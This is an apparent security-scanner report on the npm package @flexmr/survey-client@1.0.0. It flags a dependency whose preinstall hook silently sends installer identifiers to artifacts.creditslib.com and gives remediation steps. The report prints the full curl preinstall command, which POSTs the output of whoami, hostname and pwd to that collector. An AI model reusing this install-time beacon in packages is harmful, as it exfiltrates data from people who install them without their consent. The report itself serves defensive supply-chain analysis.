@flexmr/survey-client@1.0.0
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe package directly depends on a remote package with an automatic preinstall beacon that discloses installer and environment identifiers to an unrelated collector. This meets the install-time disclosure block criterion.
Static reason
No blocking static signals were detected.
Trigger
Installing the package on the Linux or Darwin npm profile.
Impact
The collector receives identifiers about the installer and installation environment without an installer consent guard.
Mechanism
The dependency runs curl to POST the current user, hostname, and working directory to artifacts.creditslib.com/api/pings.
Attack narrative
Installing this package pulls marker-index-symbol-schema. Its Linux and Darwin npm profiles define a preinstall command that sends the current user, hostname, and working directory to artifacts.creditslib.com/api/pings. The source shows no consent guard for this installation-time disclosure.
AI rationale
The package directly depends on a remote package with an automatic preinstall beacon that discloses installer and environment identifiers to an unrelated collector. This meets the install-time disclosure block criterion.
Evidence
package.json.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-linux/package.json.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package directly depends on marker-index-symbol-schema from artifacts.creditslib.com.
- The Linux npm install profile runs a preinstall POST to artifacts.creditslib.com/api/pings with user, hostname, and working-directory identifiers.
- The Darwin npm install profile independently contains the same preinstall disclosure behavior.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
13"marker-index-symbol-schema": "https://artifacts.creditslib.com/npm/marker-index-symbol-schema"
}
}
High
Ai Review Evidence
The package directly depends on marker-index-symbol-schema from artifacts.creditslib.com.
package.jsonView on unpkg · L13.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"733d3738-4468-41ad-9a23-79148e76b40f\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-client\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Ai Review Evidence
The Linux npm install profile runs a preinstall POST to artifacts.creditslib.com/api/pings with user, hostname, and working-directory identifiers.
.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighAi Review Evidencepackage.json
HighAi Review Evidence.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-006fccf7-8da2-4a79-a069-a413cef7a34f/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/survey-client@1.0.0.
See all versions of @flexmr/survey-client for other recorded verdicts.
- Avoid installing @flexmr/survey-client@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.